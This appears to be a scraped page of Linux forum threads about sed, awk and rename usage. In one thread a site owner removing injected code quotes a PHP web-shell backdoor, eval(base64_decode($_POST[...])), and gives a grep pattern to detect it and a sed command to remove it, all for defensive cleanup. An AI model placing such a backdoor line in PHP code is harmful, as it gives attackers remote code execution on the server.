use the sed command guidance needed - linux

This is my problem. Using sed remove only the first instance of a semicolon on each line and replace it with a dash (-)
Could someone please help me figure this out?
Thank you.

Assuming you have this in a file called file
123;456;789;987;654;321
aaa;bbb;ccc;ddd;eee;fff
This command
sed 's/;/-/' file
will give you this
123-456;789;987;654;321
aaa-bbb;ccc;ddd;eee;fff

Related

bash, adding line after specific line

For my actual creating intial server setup script i need to add a line thats saved in a variable after a specific line in a specific file.
I want to add the line:
zend_extension = $phpextensiondir/ioncube_loader_lin_$phpextensionnumber.so
after the following line:
;realpath_cache_ttl = 120
in the following files:
/etc/php/$phpversionnumber/cli/php.ini
/etc/php/$phpversionnumber/cli/fpm.ini
I was looking around, but can't find any what I understand. Actually I'm new to bash scripting.
Can anybody explain? It seems that sed is not the right choice for it?
awk '{print} $0=="old line"{print "new line"}' file

Bash script to delete text from Tripwire's pol file to get rid of false negatives

I currently am trying to write a bash script with sed that will delete the settings in Tripwire's file twpol.txt file. If anyone knows how that'd be great or if you could let me know if someone has done something like it that'd be helpful as well because right now I'm getting over 200 lines of false negative error reports.
I've already tried something like:
sed -i -d "/usr/sbin/fixrmtab"
To delete lines containing /usr/sbin/fixrmtab:
sed -i '/usr\/sbin\/fixrmtab/d' twpol.txt

remove eval base64_decode from file with ssh

I found several php-files on the webserver(CentOs with WHM) that contain something like this:
eval(base64_decode($_POST['n23fcad']));?><?php
or
eval(base64_decode($_POST['n56660d']));?><?php
And so on.
Can I remove this part of code from the php-file, leaving the rest of the file intact?
For now I'm using the following line to detect the files:
grep -lr --include=*.php "eval(base64_decode" .
I don't know how to delete the malicious part.
As you can see between the brackets of POST the code changes.
So hopefully there is a way to delete these kind of lines.
Thanks in advance!
Please try the following method
cat injected_file.php | sed 's/<?php.*eval.*]));?>//g' > good_file.php
it works for me.

sed not replacing a full sentence

ssh root#$IP sed -i -e 's/listen\t80\default_server;/test/' /etc/nginx/conf.d/default.conf is there something I am not doing correctly?
I am doing to learn how to use sed - but I think the greatest route for making a general configuration across multiple server is to upload the conf file? Any input would be appreciated, thanks!
It appears that you are missing a tab:
listen\t80\tdefault_server
If it was me, I'd replace the tab pattern with general whitespace pattern to allow a little flexibility:
listen\s\+80\s\+default_server
or
listen[[:space:]]\+80[[:space:]]\+default_server

Linux rename function not being used correctly

I'm trying to use the rename command in a Terminal in Ubuntu to append a string to the beginning of some avi file names as follows.
rename -n 's/(\w)\.avi$/String_to_add__$1\.avi/' *.avi
So I expect the following:
String_to_add_MyMovie.avi
Problem is that when I run the command it appends the string to the end of the file name, so I end up with the following:
MyMovie_String_to_add_.avi
I'm not sure if I have the perlexpr syntax wrong or something else. Any insight is appreciated.
UPDATE:
Thanks for the suggestions, I tried the suggestions from alno and plundra and made the following modification:
rename -n 's/(\w+)\.avi$/String_to_add__$1\.avi/' *.avi
But now the file gets the string inserted in the middle of the name as follows:
My_String_to_add_Movie
My apologies though, I neglected to mention that the titles are preceded by 3 numeric values, so the file name nomenclature is {3 numbers}-My_Movie.avi so for example 001-My_Movie.avi. But I didn't think this would make a difference since I'm assuming \w+ matches alphanumeric characters, might the '-' be the issue?
Haven't tried Christian's approach yet, I want to be able to use the rename command, or at least understand why it's not working before I try a different approach.
I don't think rename -n is standard. You could do this:
for i in *.avi; do mv $i String_to_add_$i; done
You're only matching a single character with \w, you want \w+, so the complete line would be:
rename -n 's/(\w+)\.avi$/String_to_add__$1\.avi/' *.avi
Correct version:
rename -n 's/(\w+)\.avi$/String_to_add__$1\.avi/' *.avi
You simply forgot + after \w, so it tried to match only one character.

Resources